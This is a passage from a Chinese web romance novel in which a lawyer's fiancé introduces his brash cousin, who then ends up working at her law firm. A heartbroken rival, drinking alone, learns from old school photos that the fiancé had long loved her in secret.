许宴清今天穿了一身骚包的粉色衬衫,话还没说完就看见跟在傅修沉身后的‘黄毛’身上。 “哟,这谁啊?哪来的金毛狮王?” 陆凛看见许宴清,眼神也冷了几分,嘴角勾起一抹痞气的弧度:“许宴清,这么多年不见,你这张嘴还是这么欠。” 这两人,从小就不对付。 许宴清看不惯陆凛的桀骜叛逆,陆凛瞧不上许宴清的风流浮夸。 “比不上陆少特立独行,回国第一天就进局子喝茶,这欢迎仪式够别致。”许宴清反唇相讥。 陆凛眼神一沉,想到机场那个多管闲事的女人,火气又有点上涌。 傅修沉没理会两人之间的针锋相对,在沙发主位坐下,自顾自倒了杯酒。 许宴清见状,没再搭理陆凛,直接凑到傅修沉身边,压低声音:“你之前让我查的那家子,捅了霍寒山就跑路的那几个,有点眉目了,好像背后有人指点,抹得很干净,但还是留下点尾巴……” 傅修沉微微眯了眯眼,抬眸看他。 许宴清咧嘴一笑,“还真让你猜着了……” 他压低声音,“那家人跑得蹊跷,我顺着线摸了下,背后有人接应,手脚很干净,不像普通医闹。而且……” 他顿了顿,神色有些古怪:“他们账户上昨天突然多了一笔钱,来源是海外空壳公司,但我追到最后一层,发现跟霍寒山有点牵扯。” 傅修沉眸色微沉,指尖在杯沿轻轻摩挲。 许宴清凑近些:“老傅,你说霍寒山那小子是不是脑子进水了?自己找人捅自己?苦肉计也不用玩这么大吧?” 傅修沉没说话,眼底结了一层薄冰。 …… 而陆凛在一旁听着两人打哑谜,觉得无趣,便起身:“我去趟洗手间。” 他穿过灯光迷离的走廊,百无聊赖地打量着这江南顶级的销金窟。 走到一个转角,视线不经意地扫过舞池大厅,脚步猛地顿住。 只见明嫣正在服务生的指引下朝着贵宾间的方向走来,昏暗的灯光勾勒着她优美的颈部线条,水光潋滟的眸子在光线下,有种惊心动魄的清冷美感。 陆凛眯起了眼,舌尖抵了抵后槽牙——真是…… 冤家路窄。 他靠在墙边,摸出烟盒,叼了一根在嘴里。 ‘嚓’地一声,火光亮起,一簇红点在暗色的走廊里亮起。 袅袅的青烟腾起,透过厌恶,陆凛牢牢地盯着那个让他刚下飞机就蒙受不白之冤的女人,嘴角缓缓勾起一丝弧度。 收拾她? 看来,不用等下次了。 …… 此时的明嫣正轻车熟路地往贵宾包间的方向走去。 穿过灯光迷离的走廊,她无意间抬眼,脚步几不可察地一顿。 斜前方的廊柱旁,倚着个身形高大的男人。 一头灿金色的短发在昏黄光线下依旧扎眼,黑色机车夹克随意敞开,露出里面的白色T恤。 他指间夹着烟,正偏头看向这边,嘴角挂着点漫不经心的坏笑。 “……” 明嫣不禁皱眉。 他怎么在这儿? 这么快就从警局出来了? 明嫣虽然在心里默默腹诽,但是面上却没有什么表情,目不斜视地想要快步走过。 然而,就在她即将跟对方擦身而过的瞬间,男人突然懒洋洋地转过身,直接堵住了她的去路。 “哟,这不是白天那位正义感爆棚的大律师吗?” 他吐出一口烟圈,嗓音带着点痞气,“怎么,跟踪我啊?” 明嫣停下脚步,抬眼看他,眼神平静无波,“让开。” “啧。” 陆凛将烟扔在地上捻灭,上前一步,逼近她,“白天害我进局子的账还没算,现在撞我手里,不说句对不起?” 他身高腿长,刻意逼近时带着一股压迫感。 但明嫣只是微微蹙眉,非但没退,反而迎着他的目光。 “警方调查清楚自然会还你清白。至于道歉……” 她语气疏淡,“该是你为现在的骚扰行为向我道歉才对。” “我骚扰你?”陆凛像是听到了什么笑话,伸手就想扣她手腕,“律师就能随便给人扣帽子?” 明嫣反应极快,手腕一翻避开,同时另一只手已从手包里摸出手机,拇指悬在录音键上方。 她晃了晃手机,屏幕亮起,“或者,我们可以再去警局聊聊?这次我亲自送你。” 陆凛动作一僵,看着她冷静得不带一丝波澜的眼睛,和那随时准备取证录音的手机,那股邪火蹭蹭往上冒,偏偏又被将了一军。 他混惯了,还没见过这么油盐不进又手段利落的女人。 “行,你真行。”他气极反笑,点了点头,眼神愈发不善,“伶牙俐齿是吧?我看你能……” “陆凛!” 一道低沉冷冽的嗓音自身后响起,打断了陆凛未尽的威胁。 傅修沉不知何时到来,站在几步开外,灯光在他深邃的眉眼间投下阴影,看不清具体神色,但周身散发的低气压让走廊的温度都仿佛降了几度。 陆……陆凛? 明嫣一脸懵地眨了眨眼——等等…… 这个名字好像有点儿熟悉…… 第106章 叫嫂子……(加更) 陆凛一见是他,立刻像是找到了靠山,也顾不上和明嫣的争执了,三两步窜到傅修沉身边,指着明嫣抢先告状: “哥!你来得正好!就是这女人!白天在机场冤枉我偷东西,害我被抓进警……” 他的话戛然而止。 因为傅修沉甚至没听完他的控诉,便径直绕过他,走到了明嫣身边。 在陆凛目瞪口呆的注视下,傅修沉极其自然地伸出手,揽住了明嫣纤细的腰肢,将人往自己怀里带了带。 他这才抬眸,目光落在陆凛那张满是惊愕茫然的脸上,嗓音是一贯的平淡—— “陆凛,叫嫂子。” 陆凛:“……???” 他嘴巴微张,眼睛瞬间瞪圆了,看看面沉如水的傅修沉,又看看被大哥牢牢护在怀里的明嫣,脑子里“嗡”的一声,像是被一道天雷直直劈中天灵盖。 嫂……嫂子?! 这女人…… 这害他刚回国就体验了一把警局半日游的女人,竟然就是传说中把他大哥这尊冷面佛拉下神坛的明家大小姐?! 他未来的大嫂?! 陆凛感觉自己的世界观受到了剧烈冲击。 他下意识地抬手耙了耙头发,舌尖抵着后槽牙,半天憋不出一个字。 明嫣看着陆凛那副像是生吞了只苍蝇的呆愣模样,心里那点因为被他堵路而产生的不快也散了些。 她微微侧头,抬眼看向傅修沉线条冷硬的下颌,轻声问:“你弟弟?” “嗯。”傅修沉垂眸看她,眼底的寒意散去些许,揽着她腰的手紧了紧,带着她转身往包厢走,经过石化原地的陆凛时,丢下轻飘飘的一句,“愣着干什么?进来。” 陆凛看着两人相携离去的背影,憋屈得差点内伤。 他烦躁地耙了耙那头金发,最终还是悻悻地跟了上去。 …… 包厢厚重的门在身后合上,将外面喧嚣的音乐隔绝。 里面暖气开得足,许宴清正拿着麦克风鬼哭狼嚎,看见傅修沉揽着明嫣进来,后面还跟着个脸色臭得像踩了狗屎的陆凛,声音戛然而止,差点呛到。 “咳咳……什么情况?”许宴清眨巴着眼,目光在三人之间逡巡,敏锐地嗅到了不同寻常的气息。 傅修沉没理他,护着明嫣在沙发中间坐下,自己则自然地坐在她身边,手臂依旧占有性地环在她腰后,像个守护领地的雄狮。 陆凛磨磨蹭蹭地走到对面单人沙发,一屁股坐下,长腿大剌剌地敞着,抓过桌上一个干净的酒杯,也不管里面原来有没有酒,自顾自倒了满满一杯烈酒,仰头就灌了下去。 明嫣看轻轻拽了拽傅修沉的衣袖,凑近他耳边,压低声音,“他……真是你弟弟?” 傅修沉侧头,看着她噙着几分心虚的眸子,眼底掠过一丝极淡的笑意,也学着她的样子压低声音,热气拂过她耳廓:“嗯,我小姑的儿子,陆凛。刚回国。” 他顿了顿,补充道,语气带着点不易察觉的纵容,“性子是野了点,人不坏。” 明嫣:“……” 这何止是野了点? 简直是头浑身是刺的倔驴! 不过,既然是傅修沉的弟弟,那今天这场乌龙…… 明嫣深吸一口气,拿起一个空酒杯,倒了小半杯度数较低的起泡酒,然后站起身,朝对面的陆凛走去。 陆凛正低头看着酒杯里晃动的液体,金色的碎发垂落,遮住了部分眉眼,浑身散发着“生人勿近”的气场。 察觉到阴影笼罩,他懒洋洋地抬起眼皮,见是明嫣,立刻又没什么表情地垂下,从鼻子里哼出一声。 明嫣在他面前的茶几旁站定,将手中的酒杯轻轻往前推了推,语气真诚,带着歉意:“陆凛,是吧?今天在机场的事,是个误会。我为我当时的武断向你道歉。对不起,希望你别往心里去。” 她的声音清亮,不卑不亢,在包厢略显嘈杂的背景音里清晰地传入陆凛耳中。 陆凛捏着酒杯的手指微微收紧,没动,也没说话。 一旁的许宴清看得津津有味,用手肘撞了撞傅修沉,挤眉弄眼,用口型无声地说:“哟,你家小律师可以啊,能屈能伸。” 傅修沉没理他,目光落在明嫣纤细而挺直的背影上,眸色深沉,看不出情绪。 明嫣见陆凛不接茬,也不恼,继续道:“我不知道你是修沉的弟弟,如果知道,肯定不会那样处理。说到底,是我没搞清楚状况,给你添麻烦了。” 她把责任揽到自己身上,态度放得足够低。 陆凛终于有了点反应,他掀眸,那双带着点桀骜野性的眼睛上下扫了明嫣一眼,嘴角扯出一个要笑不笑的弧度,语气依旧硬邦邦的:“现在知道了?” “嗯。”明嫣点头,眼神坦然。 陆凛盯着她看了几秒,似乎在判断她这话有几分真心。 半晌,他才像是极度不情愿似的,伸手拿起桌上那杯明嫣推过来的起泡酒,也没跟她碰杯,只随意地晃了晃,仰头一口闷了。 动作算不上礼貌,但好歹是喝了。 喝完,他把空杯往桌上不轻不重地一放,发出“铛”的一声脆响,算是接受了道歉,但也仅此而已。 明嫣心里悄悄松了口气。 肯喝就行,总比一直僵着强。 她转身想回傅修沉身边,却听见陆凛带着点嘲弄的声音在身后响起: “律师姐姐眼神不太好,以后抓贼看准点。” 明嫣脚步一顿,回头,对上陆凛那双挑衅的眼,她忽然弯唇笑了笑,灯光下,那笑容清浅却带着点狡黠:“嗯,下次一定看清楚,至少不会把一头这么……耀眼的金发认错。” 陆凛:“……” 他下意识地抬手摸了摸自己那头无比扎眼的金发,一口气堵在胸口,上不去下不来。 这女人!道歉是道了,嘴皮子还是这么利索! 傅修沉的唇角几不可察地勾了一下,朝明嫣伸出手:“过来。” 明从善如流地走回去,把手放进他温热干燥的掌心,被他轻轻一拉,重新坐回他身边。 “饿不饿?这边点心不错。”傅修沉仿佛没看见自家表弟那副憋屈样,低头问明嫣,顺手将她耳边一丝不听话的碎发别到耳后,动作自然亲昵。 “有点。”明嫣老实点头,折腾这一晚上,确实饿了。 傅修沉便按了服务铃,让人送了几样精致的点心和果盘进来。 许宴清是个闲不住的,见气氛缓和,又凑过来插科打诨,试图活跃气氛:“陆凛,你小子行啊,回国第一天就给你嫂子送这么份‘大礼’,印象深刻,绝对印象深刻!哈哈哈哈!” “滚!” 第107章 这男人……骚起来真是要命! 明嫣耳根一热,这人也太…… 她飞快地瞟了眼对面陆凛和一脸看好戏的许宴清,脚在桌子底下狠狠地踩了傅修沉一下。 傅修沉眉梢都没动一下,反而就着环抱她的姿势,拿起自己那杯没动过的威士忌,递到她唇边:“压压惊。” 动作亲昵得理所当然。 明嫣拗不过他,就着他的手小小抿了一口,辛辣的液体滑过,她忍不住蹙了蹙眉。 傅修沉眼底掠过一丝极淡的笑意,就着那个位置,将杯中剩余的酒一饮而尽。 陆凛把这一切尽收眼底,只觉得牙酸得厉害,心里那点别扭,被这明目张胆的狗粮冲散了不少,只剩下满满的荒谬感——这真是他那个从小到大冷得像块冰,女人近身三米都能自动制冷的大哥? 怕不是被什么玩意儿附体了吧! 许宴清更是夸张地捂住眼睛:“没眼看没眼看!傅修沉你够了啊,这还有俩活人呢!” 傅修沉一个眼神都懒得给他,只看着明嫣:“还喝吗?” 明嫣赶紧摇头。 “那回家?”他又问。 明嫣自然不愿意多待,连忙点头。 “走吧,送你回去。”傅修沉站起身,顺手帮明嫣拿过一旁的手包,然后抬眸扫了一眼陆凛,“明天一早去跃华报道,别迟到。” 一听这个,陆凛脸色垮了下来,烦躁地耙了耙头发:“知道啦!” 看着傅修沉揽着明嫣离开包厢,陆凛郁闷地又给自己倒了杯酒。 许宴清晃悠过来,哥俩好地搂住他肩膀:“行了金毛狮王,别丧气了,跟哥说说,国外不好混吗?怎么想起滚回来了?” 陆凛没好气地甩开他:“关你屁事!滚!” …… 回别墅的路上,车厢里很安静。 明嫣靠在椅背上,看着窗外飞速倒退的流光,忍不住又想起陆凛那头扎眼的金发和桀骜的眼神,噗嗤一声笑了出来。 “笑什么?”傅修沉单手扶着方向盘,侧颜在明明灭灭的光影里显得格外深邃。 “笑你弟弟啊,”明嫣转过头,眼睛亮晶晶的,“跟个小炮仗似的,一点就着。不过……还挺有意思的。” 傅修沉挑眉:“有意思?” 明嫣没察觉他语气里那点微妙的危险,自顾自点头:“嗯,挺好玩的。” 话音刚落,车子猛地一个减速,靠边停下。 明嫣猝不及防,身子往前倾了倾,又被安全带拉回来,她惊魂未定地看向驾驶座的男人:“你干嘛?” 傅修沉解开了安全带,整个身体侧过来,手臂搭在她椅背上,将她困在方寸之间,眸光沉沉地锁住她:“我不好玩?” 距离太近,他身上清冽的木质香混合着淡淡的酒气,霸道地侵占她的呼吸。 明嫣心跳漏了一拍,下意识地往后缩,“我不是那个意思……” “那是什么意思?”他逼近,鼻尖几乎要碰到她的,温热的气息拂过她的唇瓣,“嗯?” 尾音上扬,带着蛊惑人心的磁性。 明嫣脸颊发烫,被他看得手脚发软,“我说他好玩,又没说你不好玩……” “那也不行……”傅修沉眼底暗色翻涌,他低头,在她唇上不轻不重地咬了一下,带着惩罚的意味,“不准夸别的男人!” “唔……”明嫣只觉得唇上一麻,又羞又恼,“傅修沉你属狗的啊!” “嗯,专咬你的狗。”他承认得坦荡,又在她被咬的地方轻轻舔舐一下,像是安抚,却更添暧昧。 明嫣浑身一颤,血液都往头顶涌。 这男人…… 骚起来真是要命! “你起开!”她用力推他胸膛,手感硬邦邦的,纹丝不动。 傅修沉低笑一声,终于稍稍退开些许,但手臂依旧圈着她,指尖有一下没一下地卷着她散落在肩头的发丝。 “以后离那小子远点。”他语气恢复了平淡,带着点儿微微的哑。 “为什么?他不是你弟弟吗?” “就是因为他是我弟弟。”傅修沉眸色深了深,“那小子混惯了,没个分寸。” 他顿了顿,视线落在她微微红肿的唇瓣上,声音压低,“我的人,不喜欢别人碰,看一眼都不行。” 哪怕是弟弟。 明嫣的心尖像是被羽毛轻轻搔过,又痒又麻。 这占有欲…… 她抿了抿唇,故意跟他唱反调:“谁是你的人?我是我自己的!” 傅修沉看着她微扬的下巴和亮得惊人的眼睛,像只骄傲又勾人的小猫。 他喉结滚动,再次俯身,这次吻得又重又深,带着不容抗拒的强势,直到她缺氧般软在他怀里,才抵着她的额头,气息微乱。 “嘴硬。”他嗓音沙哑,“迟早给你磨软了。” …… 隔天日上三竿,跃华生物的法务部办公室,周慕言抬腕看了眼表,快十一点了。 那位祖宗…… 正想着,办公室门被人从外面‘哐当’一声推开,声音大得让周慕言手里的钢笔差点掉地上。 他抬头一看,差点没背过气去。 只见陆凛穿着一身极其不合时宜的破洞牛仔裤和铆钉皮衣,顶着一头灿烂金发,就这么大摇大摆地晃了进来。 “早啊,周律师。”陆凛打了个哈欠,眼角还带着点没睡醒的湿意,一屁股瘫在周慕言办公桌对面的客椅上,长腿一伸,差点踹到旁边的文件柜。 周慕言嘴角抽搐了一下,强挤出一个职业假笑:“陆少,早。傅总吩咐了,让我给您安排个合适的部门历练,您看……” 他拿出早就准备好的内部架构图和几个核心部门的简介,推到陆凛面前。 “这是投资发展部,主要负责……” “不去,”陆凛眼皮都没抬,低头开始刷手机,手指飞快,“看数字头疼。” 周慕言深吸一口气:“那……研发中心?您有医学背景,正好……” “实验室闷死了,不去。”陆凛的视线黏在手机屏幕上,不知道在玩什么游戏,音效噼里啪啦响。 周慕言额角青筋跳了跳:“市场部?能接触不同的人,比较有活力……” “跟人假笑应酬?没劲。”陆凛换了个更瘫的姿势。 周慕言:“……” 他感觉自己快心肌梗塞了。 “行政部?公关部?信息技术部……”周慕言几乎是咬着后槽牙把剩下的部门报了一遍。 “无聊。” “琐碎。” “代码狗都不敲。” 陆凛每否决一个,周慕言脸上的血色就褪一分。 这位爷哪里是来工作的? 分明是来砸场子的! 第108章 把你未来的嫂子伺候好了 就在周慕言抓狂得想挠墙时,办公室的门被轻轻敲响了。 “周律师,在忙吗?”明嫣推门探头。 她今天穿了身浅灰色的职业套装,长发绾起,露出线条优美的天鹅颈,显得干练又清爽。 而她身后则是跟着抱着一摞文件的陆奉归。 他们是来跃华协助处理一桩涉及海外知识产权纠纷的法律事务的。 周慕言如同看到了救星,眼睛瞬间亮了:“明小师妹!你来得正好!” 他话音刚落,就感觉身后一道高大的阴影笼罩下来。 傅修沉不知何时也到了门口,他的目光先是落在明嫣身上,柔和了一瞬,随即扫过办公室里瘫成烂泥的陆凛,眼神瞬间冷了下来。 “怎么回事?”傅修沉开口,声音不高,却自带威压,“还没定?” 周慕言如蒙大赦,连忙上前低声汇报情况,语气带着无奈:“傅总,陆少他……各部门都了解了,暂时没有特别感兴趣的。” 陆凛这才懒洋洋地把视线从手机屏幕上移开,对上傅修沉没什么温度的目光,浑不在意地耸耸肩。 傅修沉走到陆凛办公桌前,指尖在桌面上不轻不重地叩了叩,吸引了他的全部注意。 “两个选择。” 傅修沉语气平淡,“一,从选一个部门,今天下午开始上班。二……” 他顿了顿,目光锐利,连带着嗓音都沉了下来,“我现在让司机送你去机场,滚回魔都老宅,以后别再跟我提进跃华的事。” 陆凛脸上的散漫收敛了些,他坐直身体,拧着眉和他哥对视,眼神里满是不服和叛逆。 几秒的死寂后,他忽然抬手,食指笔直地指向站在门口,一脸状况外的明嫣—— “我去她那儿!” 明嫣:“……啊?” 她眨了眨眼,怀疑自己是不是听错了。 傅修沉眸光微动,看向明嫣。 明嫣反应过来,连忙摆手,“开什么玩笑?金融和医学双硕士,来我律所能干什么?我们那儿不养闲人。” “要你管?”陆凛下巴微扬,带着少年人的桀骜,“小爷我乐意!法律怎么了?小爷我智商高,现学也来得及!” 明嫣被他的话噎住,简直哭笑不得。 这少爷真是想一出是一出。 她下意识地看向傅修沉,用眼神示意他管管他这个无法无天的弟弟。 却见傅修沉深邃的眼底掠过一丝极淡的暗芒。 他微微颔首,竟然同意了,“可以。” 明嫣:“???” 陆凛:“???” 周慕言:“???” 傅修沉目光转向陆凛,“那你就跟着去嫣然律所,打印跑腿,端茶递水,把你未来的嫂子伺候好了。” “有一点儿怠慢……” 傅修沉微微倾身,逼近陆凛,声音压得低,“我就把你打包扔回魔都,亲自看着你剃了这头金毛,关进老宅祠堂抄三个月家规。听明白了?” 陆凛嘴角狠狠抽搐了一下,想象了一下那个画面,头皮一阵发麻。 他憋屈地咬了咬牙,从喉咙里挤出一个字:“……行。” …… 而与此同时,同样抓狂的还有韩晋。 他觉得自己快疯了。 他捏着手机,在办公室里焦躁地踱步。 听筒里传来的,依旧是那句“对不起,您所拨打的电话已关机……” 两天了。 霍寒山的手机就跟块板砖似的,再没通过。 这太反常了。 明寒律所江南分部那边刚起步,一堆事儿等着他决断,他怎么可能连续两天失联? 韩晋心里那股不祥的预感越来越浓。 他深吸一口气,不再犹豫,直接拨通了江南分公司前台的内线电话。 “喂?霍律师在吗?我韩晋,找他有点急事。” 电话那头的前台小妹声音甜美,却带着一丝为难:“韩律师您好,霍律师……他这两天都没来办公室呢。我们打他电话也关机,正想联系您问问情况。” 果然! 韩晋的心猛地一沉。 “他租的那公寓地址发我,立刻,马上!” 拿到地址,韩晋看了一眼窗外灰蒙蒙的天,抓起车钥匙和随手丢在沙发上的外套就冲出了门。 他订了最近一班飞往江南的机票,一路上,油门几乎踩进油箱。 几个小时后,飞机降落在江南机场。 韩晋拦了辆出租车,报出霍寒山在江南租住的高级公寓地址。 车子抵达小区门口,韩晋几乎是跑着冲进了单元楼,他先是用力按了几下门铃,见没有回应,就直接开始砸门—— “霍寒山!开门!我知道你在里面!”韩晋用力拍打着门板,声音在空旷的走廊里回荡。 依旧没有任何回应。 韩晋心里不由得腾起一股不祥的预感。 这家伙……不会真想不开,在里面…… 他不敢再想下去,连忙掏出手机,翻找开锁公司的电话。 也顾不上什么隐私不隐私,非法不非法了,他现在只想确认霍寒山还他妈喘着气儿! 开锁师傅来得很快,看着韩晋那煞白的脸色和急切的模样,也没多问,拿出工具对着门锁一阵捣鼓。 “咔哒”一声轻响,门锁弹开。 韩晋几乎是立刻推开了门—— 一股浓烈到酒精和烟草的酸臭气味,如同实质的拳头,狠狠砸在他的脸上,熏得他眼前一黑,胃里一阵翻江倒海。 他下意识地后退半步,捂住了口鼻,心脏却因为眼前看到的景象而骤然缩紧。 客厅里没有开灯,厚重的窗帘拉得严严实实,只有几缕惨白的光线从缝隙里挤进来,勉强照亮了这一片狼藉。 地上,沙发上,茶几上…… 目之所及,到处都是东倒西歪的空酒瓶,红的、白的、洋的,像是经历了一场疯狂的饕餮盛宴后留下的残骸。 烟灰缸早已满溢,烟蒂和灰烬撒得到处都是。 而霍寒山,就蜷缩在这一片垃圾场的中央,背靠着沙发,坐在地毯上。 他低垂着头,凌乱的黑发遮住了大半张脸,身上那件昂贵的白衬衫皱得不成样子,领口大敞,露出缠着纱布的胸口和一大片苍白的皮肤,上面甚至还沾着不知是酒渍还是什么的污痕。 他手里还攥着一个半空的酒瓶,指节因为用力而泛出青白色。 听到门口的动静,他极其缓慢地抬起头。 韩晋倒吸了一口凉气。 不过短短几天不见,霍寒山整个人像是被抽走了所有的精气神,瘦脱了形。 眼眶深陷,眼底下是浓重得化不开的乌青,布满了骇人的红血丝,下巴上冒出了一片青黑色的胡茬,嘴唇干裂起皮,脸色是一种近乎透明的惨白。 这哪里还是那个在法庭上叱咤风云的京都第一律师霍寒山? 这根本就是一具…… 被抽走了灵魂的行尸走肉! 第109章 蓄谋已久的暗恋(加更) “霍寒山!” 韩晋又惊又怒,几个大步冲过去,一把夺过他手里的酒瓶,重重顿在茶几上,发出“砰”的一声巨响,“你他妈疯了?!不要命了是不是?!” 酒瓶里的液体晃荡出来,溅湿了霍寒山的裤脚,他却毫无反应,只是抬起那双空洞的眼睛,茫然地看了韩晋一眼,然后又缓缓垂下,盯着自己空空如也的手,仿佛那酒瓶才是他唯一的倚靠。 “你看看你现在像什么样子?!”韩晋气得胸口疼,伸手想去拉他,“起来!给我起来!” 霍寒山却像是被钉在了地上,纹丝不动,反而低低地笑了一声,那笑声嘶哑破碎,带着浓浓的自嘲:“命?呵……这条命……留着有什么用……” “你!”韩晋被他这副油盐不进的模样彻底激怒,积压了许久的火气和担忧,在这一刻轰然爆发。 他不再废话,弯下腰,用尽全身力气,猛地将霍寒山从地上拽了起来! 霍寒山重伤未愈,又连日酗酒,身体虚软得厉害,被他这么一拽,踉跄着差点摔倒。 韩晋不管不顾,半拖半抱地,将他强行弄进了浴室。 “韩晋……你干什么……”霍寒山挣扎着,声音虚弱。 “干什么?让你他妈好好清醒清醒!”韩晋低吼着,一把将他推到花洒下面,伸手拧开了冷水开关! “哗——!” 冰冷刺骨的水流瞬间从头顶倾泻而下,将霍寒山整个人浇了个透心凉! “呃啊!”霍寒山被冻得一个激灵,发出一声短促的惊叫,下意识地蜷缩起身体,想要躲避这酷刑般的冷水。 冷水浸透了他单薄的衬衫,紧紧贴在皮肤上,伤口处的纱布迅速被浸湿,传来一阵湿冷的黏腻感。 他剧烈地颤抖起来,牙齿不受控制地打着颤。 韩晋站在一旁,胸膛因为愤怒和用力而剧烈起伏,他看着霍寒山这副凄惨的模样,心里又气又痛,“霍寒山!你他妈看看你自己!早知今日,何必当初?!” “明嫣喜欢你的时候,你他妈干什么去了?!啊?!现在她不要你了,跟别人好了,你倒在这里要死要活?!你他妈还是个男人吗?!” 冷水持续冲刷着,霍寒山靠在冰冷的瓷砖墙壁上,水流顺着他凌乱的头发淌下,划过他惨白的脸,模糊了他的视线。 韩晋的每一句话,都像是一把烧红的烙铁,狠狠烫在他的心上,比这冷水更让他痛不欲生。 他猛地抬起头,湿漉漉的黑发黏在额前,水珠不断从睫毛上滴落,那双布满血丝的眼睛死死盯住韩晋,“那我该怎么办?!你告诉我……我他妈该怎么办?!” 他的声音嘶哑得几乎破音,带着浓重的鼻音,“为了她我也可以连命都可以不要!傅修沉能做到的,我哪一点做不到?!啊?!” 他像是要说服韩晋,更像是在拼命说服自己,声音里带着一种破碎的哭腔:“如果……如果当初救她的人是我……是我……” 他的话堵在喉咙里,巨大的悔恨和绝望如同海啸,将他淹没。 是啊,如果当初是他…… 那现在站在明嫣身边,被她用那样依赖信任的目光注视着的人,会不会就是他? 这个假设,像是一根毒刺,日夜不停地扎在他的心脏上,让他痛得无法呼吸。 韩晋看着他这副样子,所有的斥责和怒火,都化作了一声长长的的叹息。 他关掉了花洒。 浴室里瞬间安静下来,只剩下霍寒山粗重压抑的喘息声。 韩晋抹了一把脸上的水珠,看着瘫坐在湿滑地面上的霍寒山,眼神复杂。 他沉默了几秒,像是在做什么艰难的决定,最终,还是缓缓开口,声音低沉了下来: “霍寒山,我今天来,除了找你,还有一件事……想告诉你。” 他顿了顿,伸手,从自己那件同样被水溅湿的外套内侧口袋里,掏出了一个信封递到他面前,语气带着一种难以言喻的复杂:“你自己看吧。” 霍寒山的手指因为冰冷和酒精的麻痹而微微颤抖,他迟疑着,接过了那个信封。 入手微沉。 他撕开信封的封口,从里面倒出了一沓照片。 照片是彩色的,但像素不算很高,带着明显的年代感。 他一张张地翻看。 照片的主角,无一例外,都是同一个人——明嫣。 十六七岁的明嫣。 穿着蓝白相间的校服,扎着简单的马尾,或者任由黑发柔顺地披在肩头。 每一张照片里的她,都带着那个年纪特有的稚嫩和青涩,却依然美得惊人,像一颗刚刚开始散发光芒的珍珠,干净,剔透,不染尘埃。 霍寒山的心脏像是被什么东西狠狠撞了一下,酸涩与疼痛交织着蔓延开来。 这是他不曾参与过的,明嫣的过去。 是他永远也无法弥补的遗憾。 他贪婪地看着照片上那张熟悉又陌生的脸,指尖无意识地摩挲着照片上她的轮廓,仿佛这样就能触摸到那段逝去的时光。 然而,看着看着,他的目光猛地顿住了! 瞳孔骤然收缩! 他的视线,死死地钉在了照片的背景处! 这些照片,拍摄于不同的时间,不同的地点。 图书馆,林荫道,操场,教学楼前…… 但是,在这些看似随意的抓拍背景里,总有一个模糊却又无法忽视的身影! 那个身影或远或近,有时只是一个侧影,有时只是一个背影,有时甚至只是人群中的一个模糊轮廓。 可霍寒山却一眼就认了出来—— 是傅修沉! 年轻了几岁的傅修沉! 穿着简单的白衬衫或深色外套,身姿挺拔,眉眼间的冷峻依稀可辨。 不是巧合。 一次两次或许是巧合,可这厚厚一沓照片,几乎每一张…… 都有他! 霍寒山的手开始不受控制地剧烈颤抖起来,照片在他指尖哗哗作响。 他猛地抬起头,血红的眼睛死死盯住韩晋,“这……这些照片……你从哪里弄来的?!” 韩晋抿了抿唇,声音干涩:“我有个表妹,和明嫣是高中同班同学,关系还不错。前段时间她整理旧物,翻出了高中时候的相册,扫描了分享在私密相簿里,密码是她们班的班号。” 他顿了顿,指了指那些照片,“我……我无意间点进去看到的。这些,都是她那时候随手抓拍的明嫣……我当时就觉得……有点不对劲。” “怎么……怎么会……”霍寒山像是被抽干了所有的力气,喃喃自语,眼神涣散。 他一直以为,是他自己不懂得珍惜,才让傅修沉后来者居上,趁虚而入。 可现在这些照片,像是一记记响亮的耳光,狠狠扇在他的脸上! 原来…… 在他还没有和明嫣认识之前…… 傅修沉就喜欢她了。 那不是后来者。 那是一场……蓄谋已久的暗恋…… 而他霍寒山,才是那个…… 彻头彻尾的——后来者。 第110章 捅伤霍寒山的那人有下落了 而此时的嫣然律所。 陆凛这么尊大佛就这么被明嫣牵回了嫣然律所。 现如今的嫣然律所因为逐渐走上正轨,所以,扩招了好几名专业律师。 众人看着陆凛盯着一头嚣张的金毛,穿着破洞牛仔裤,大喇喇地坐在明嫣办公室外间的助理工位上时,皆是面面相觑。 这金毛版的哈士奇是什么情况? 他们老板从哪儿领回来的? 这品种能干律师这一行? 而此时明嫣看着外面那个格格不入的身影,无奈地揉了揉太阳穴。 她拿起内线电话:“陆凛,进来一下。” 陆凛慢吞吞地放下手机,慢悠悠地走了进来,往她办公桌前一靠:“干嘛?” 明嫣指了指一旁的案卷资料,“把这些资料按时间顺序和案由分类归档,电子版同步录入系统,下班前给我。” 陆凛看着那堆成小山的文件,嘴角抽了抽,“……你认真的?” 明嫣微微一笑,“傅修沉没告诉你吗?嫣然律所,不养闲人。” 陆凛:“……” 他算是看出来了,这女人看着清冷,骨子里记仇得很! 他磨了磨后槽牙,抱起那堆资料回到自己的工位,一把拉开椅子坐下,动作大得差点把椅子带倒。 一下午,律所里就听见陆凛那边噼里啪啦敲键盘和哗啦啦翻文件的声音,偶尔还夹杂着他几句低低的国骂。 明嫣专注处理自己的工作,偶尔抬眼瞥一下陆凛那边,见他虽然满脸不爽,动作毛躁,但居然真的在埋头整理,速度还不慢。 快到下班时,陆凛猛地推开键盘,身体往后一靠,长腿架到桌沿,“搞定了!” 那姿态,不像完成工作,像刚打完一场架。 明嫣走过去检查。 分类清晰,条目明确,电子录入也基本无误。 她有些意外地挑了挑眉。 “怎么样,小爷我……”陆凛得意地扬下巴。 “这里,案由写错了,是‘合同纠纷’不是‘侵权纠纷’。” 明嫣指尖点在一处,语气平淡,“还有,电子档编号格式不统一,全部返工。” 陆凛脸上的得意瞬间僵住:“……明嫣你故意的吧?!” 明嫣抬眼看他,眸光清凌凌的,“陆助理,我是律师,讲究精准。做不到,大门在那边,不送。” 陆凛被她看得心头火起,狠狠瞪了她一眼,憋着气重新摔回椅子,“改就改!” 晚上七点,陆凛才终于把符合要求的成果甩到明嫣桌上。 明嫣看了一眼,点点头,“可以了,下班吧。” 陆凛累得瘫在椅子上,看着明嫣收拾东西准备离开,灯下她侧脸线条柔和,睫毛长长覆下,跟白天那个冷面女魔头判若两人。 他鬼使神差地开口:“喂,我饿死了,你得请我吃饭。” 明嫣拎起包,莫名其妙地看他一眼,“我为什么请你吃饭?” “小爷我给你当牛做马一整天,一顿饭都不值?”陆凛理直气壮。 明嫣懒得理他,径直往外走。 陆凛抓起外套,三两步跟上,“要不我现在就给我大哥打电话,说你虐待我!” 明嫣脚步一顿,深吸一口气,告诉自己要冷静。 “……附近有家面馆。” “成交!” 面馆里,陆凛饿狼扑食般干掉两大碗牛肉面,毫无形象可言。 明嫣小口喝着汤,看着他,“你真是金融和医学双硕士?” 她实在无法把陆凛跟那两个光环联系起来。 